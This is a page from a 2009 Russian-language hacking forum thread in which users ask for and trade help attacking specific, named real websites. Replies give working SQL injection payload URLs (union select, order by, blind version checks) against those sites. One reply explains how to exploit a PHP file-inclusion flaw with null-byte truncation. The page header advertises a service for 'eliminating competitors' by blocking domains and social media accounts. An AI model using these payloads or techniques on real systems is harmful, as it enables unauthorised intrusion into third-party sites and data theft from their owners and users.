УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
Ваши вопросы по уязвимостям.

Страница 769 из 1393

769

Опции темы

Поиск в этой теме

Опции просмотра

#7681

16.06.2009, 08:10

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

Провел на форуме:
556476

Репутация: 66

а понял значит я перепутал, спасибо

#7682

16.06.2009, 10:22

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Код:

http://www.mieszkania.inter-bud.pl/m-os.php?id=115

PostgreSQL. Статью читал, но ни ордер баем ни юнион селектом не подобрал. Прошу помощи

Код:

http://www.gambitlive.com/night.php?id=90

MySQL 5 (по блинду узнал), но юниона не читает. Можно сделать вывод там?

Последний раз редактировалось mailbrush; 16.06.2009 в 10:30..

#7683

16.06.2009, 11:15

jecka3000

Постоянный

Регистрация: 15.03.2008

Сообщений: 441

Провел на форуме:
2052341

Репутация: 95

Подскажие пожалуйста сканеры ТОЛЬКО SQL-inj , которые сканировали бы, например, сайт на параметарезированные ссылки. (Что-то типа запроса к гуглу: site: moy_Sayt.ru inurl:"ID=")
SIPT,NetDeviLz SQL Scanner не катят))

#7684

16.06.2009, 11:17

farpost

Познающий

Регистрация: 16.05.2009

Сообщений: 42

Провел на форуме:
190310

Репутация: 7

Цитата:

Сообщение от mailbrush

http://forum.antichat.ru/thread49775.html

Архивчик битый в этой теме, перезалейте плиз.

#7685

16.06.2009, 11:31

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

Провел на форуме:
2805813

Репутация: 1396

Цитата:

Сообщение от mailbrush

Код:

http://www.mieszkania.inter-bud.pl/m-os.php?id=115

PostgreSQL. Статью читал, но ни ордер баем ни юнион селектом не подобрал. Прошу помощи

Код:

http://www.gambitlive.com/night.php?id=90

MySQL 5 (по блинду узнал), но юниона не читает. Можно сделать вывод там?

можно, вот:

Цитата:

http://www.gambitlive.com/index.php?page=gallery&&albumid=409+union+select+1 ,user(),3,4,5,6,7,8+limit+1,1--

#7686

16.06.2009, 14:39

jecka3000

Постоянный

Регистрация: 15.03.2008

Сообщений: 441

Провел на форуме:
2052341

Репутация: 95

никак не могу подобрать столбцы, хотя на лицо, что это обычная MySQL inj
http://www.extreme-shop.ru/ru/catalogue/detail.shtml?CATALOGUE_ID=3&PRODUCT_ID=619
подскажите плиз))

#7687

16.06.2009, 14:47

AlexSatter

Постоянный

Регистрация: 29.01.2009

Сообщений: 333

Провел на форуме:
1168802

Репутация: 298

http://www.extreme-shop.ru/ru/catalogue/detail.shtml?CATALOGUE_ID=3&PRODUCT_ID=619+order+b y+4/*

4-ый мускул
http://www.extreme-shop.ru/ru/catalogue/detail.shtml?CATALOGUE_ID=3&PRODUCT_ID=619+and+sub string(version(),1,1)=4

p.s. раскручивайте её как слепую, имхо.

Последний раз редактировалось AlexSatter; 16.06.2009 в 15:04..

#7688

16.06.2009, 14:52

Byrger

Постоянный

Регистрация: 07.03.2008

Сообщений: 479

Провел на форуме:
791766

Репутация: 61

PHP код:


		
			
if (!IsSet($t)&!IsSet($f))

    {

    $f="main";

    $filename=$f . ".php";

    }

    else

        {

        if (IsSet($t)&!IsSet($f))

            {

            $filename=$t . "/index.php";

            }

        if (IsSet($t)&IsSet($f))

            {

            $filename= $t . "/" . $f . ".php";

            }

        if (!IsSet($t)&IsSet($f))

            {

            $filename=$f . ".php";

            }

}

if (file_exists("$filename"))

{ include("$filename"); }

else

{ echo " <div class=\"alert\">  404,   . </div>"; }

Можно ли в такое инъекцию провести и как?

#7689

16.06.2009, 14:57

AlexSatter

Постоянный

Регистрация: 29.01.2009

Сообщений: 333

Провел на форуме:
1168802

Репутация: 298

насколько позволяет моя квалификация... в этом коде возможна php-inj
защиты тут в общем-то никакой нет.

расширение отбрасывайте с помощью null-byte либо с помощью усечения...

Последний раз редактировалось AlexSatter; 16.06.2009 в 15:12..